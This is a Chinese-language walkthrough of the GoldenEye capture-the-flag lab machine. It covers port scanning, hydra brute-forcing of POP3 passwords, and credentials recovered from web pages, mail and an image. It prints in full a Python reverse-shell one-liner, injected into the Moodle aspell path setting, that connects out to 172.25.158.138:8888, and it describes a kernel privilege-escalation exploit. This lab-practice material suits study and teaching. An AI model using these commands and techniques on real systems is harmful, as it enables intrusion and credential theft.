目标靶机
涉及漏洞
- POP3 弱口令
- web命令执行
- 内核漏洞
信息收集
获取目标机器ip
端口扫描
25、80、55006、55007端口开放,有smtp、http、pop3应用
Nikto scan
发现一个splashAdmin.php页面
dirbuster扫描路径没发现
访问80端口页面,提示到/sev-home/页面登陆
访问弹出一个登陆验证框,尝试一些常用弱口令无法登陆
访问/splashAdmin.php页面如下
由nikto扫描信息可知这是个Cobalt Qube 3应用,查找相关漏洞
按照漏洞利用方式尝试之后没有创建admin用户,暂时放弃这条路。
回到主页,查看页面源码,发现一个terminal.js
查看terminal.js代码,发现提示
根据提示,用户名可能是Boris,密码应该是那段html编码的字符,解码后得到InvincibleHack3r
回到登陆页面,利用用户名Boris和密码InvincibleHack3r登陆失败,用户名换成小写boris登陆成功
页面提示让发邮件获取管理员手册,邮件服务使用非标准的高端口pop3协议运行,根据扫描信息,55007端口是pop3应用
使用刚才的web用户名密码登陆失败
指定用户名,使用hydra爆破pop3密码,字典使用kali自带的fasttrack,爆破出密码是secret1!
使用telnet连接pop3查看邮件
看了3封boris的邮件并没发现太多有用的信息,但提到了natalya和xenia两个用户名
继续尝试对natalya爆破,得到密码是bird
登陆natalya的邮箱,查看邮件
第二封邮件发现有价值的信息
得到用户名/密码:xenia/RCP90rulez!
按照邮件提示配置host:severnaya-station.com
浏览器访问severnaya-station.com/gnocertdir
使用用户名/密码:xenia/RCP90rulez!登陆
登陆后是一个类似于博客的系统,浏览了一遍没发现文件上传、命令执行等漏洞
在一个页面发现另外一个邮箱用户名: doak
用刚才的方式破解,得到密码goat
登陆邮箱查看
得到web系统的登陆用户名密码:dr_doak/4England!
用用户名密码:dr_doak/4England!登陆web系统
浏览到My private files页面发现一个文件
下载查看如下
访问 http://severnaya-station.com/dir007key/for-007.jpg
下载图片,用file命令查看信息,发现一串base64:eFdpbnRlcjE5OTV4IQ==
解密得到明文:xWinter1995x!
漏洞利用
getshell(方法1)
结合上面的信息,猜测是admin的密码,使用admin/xWinter1995x! 登陆web系统
浏览配置项,发现一处aspell的路径配置,根据说明,aspell是输入框拼写检查的工具,这里写入一段反弹shell命令python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.25.158.138",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
进入到新建博客页面,点击拼写检查按钮触发,但没拿到反弹shell,后续尝试了bash和nc的命令也不行。
配置页面搜索spell配置,发现一处有spell解析器配置,默认是google的引擎,把这里改成PSpellShell,再次点击拼写检查按钮,这次获取反弹shell成功
用户是www-data
getshell(方法2)
Server - enviroment页面有系统信息,叫moodle,版本是2.2.3
google发现metasploit有漏洞利用模块
打开metasploit,搜索利用模块
设置参数
getshell成功
提权
系统内核版本是ubuntu 3.13.0-32-generic,且没有gcc
找到这个提权代码符合版本
在本地ubuntu机器编译好传过去运行,报错
根据报错,程序调用了gcc命令,机器上有cc但没有gcc,于是把代码调用了gcc命令的那行替换成cc
重新上传到目标机器编译运行
提权成功,读取flag文件
访问/006-final/xvf7-flag/ 页面如下